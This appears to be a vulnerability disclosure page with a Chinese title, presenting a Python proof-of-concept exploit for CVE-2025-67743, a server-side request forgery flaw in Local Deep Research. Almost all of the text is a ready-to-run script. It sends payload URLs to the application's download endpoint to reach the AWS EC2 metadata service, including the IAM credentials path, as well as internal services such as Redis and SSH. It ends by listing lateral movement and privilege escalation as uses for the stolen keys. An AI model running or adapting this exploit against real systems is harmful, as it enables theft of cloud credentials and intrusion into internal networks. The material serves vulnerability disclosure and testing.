CVE-2025-67743 Local Deep Research SSRF服务器端请求伪造漏洞

# CVE-2025-67743 SSRF PoC # Target: Local Deep Research <= 1.3.8 # Attack: Exploit SSRF to access AWS EC2 metadata import requests import json # Target endpoint (adjust based on actual API) TARGET_URL = "http://target-server:8000/api/research/download" # Payload to exploit SSRF - Access AWS EC2 metadata service ssrf_payloads = [ "http://169.254.169.254/latest/meta-data/", "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "http://169.254.169.254/latest/meta-data/instance-id", "http://169.254.169.254/latest/user-data/", "http://localhost:22/", "http://127.0.0.1:6379/", "http://10.0.0.1:8080/admin" ] def exploit_ssrf(target_url, payload): """ Send malicious URL to download service The vulnerable code uses requests.get() directly instead of safe_requests.get() with SSRF protection """ headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } # Malicious request payload data = { "url": payload, "task_id": "test_123" } try: response = requests.post(target_url, json=data, headers=headers, timeout=10) print(f"[*] Payload: {payload}") print(f"[*] Status: {response.status_code}") print(f"[*] Response: {response.text[:500]}") print("-" * 50) return response.text except Exception as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": print("CVE-2025-67743 SSRF Exploitation Test") print("=" * 50) for payload in ssrf_payloads: result = exploit_ssrf(TARGET_URL, payload) # Check if sensitive data was exfiltrated print("\n[!] If credentials found, attacker can:") print(" 1. Use AWS keys for lateral movement") print(" 2. Access internal services") print(" 3. Escalate privileges in cloud environment")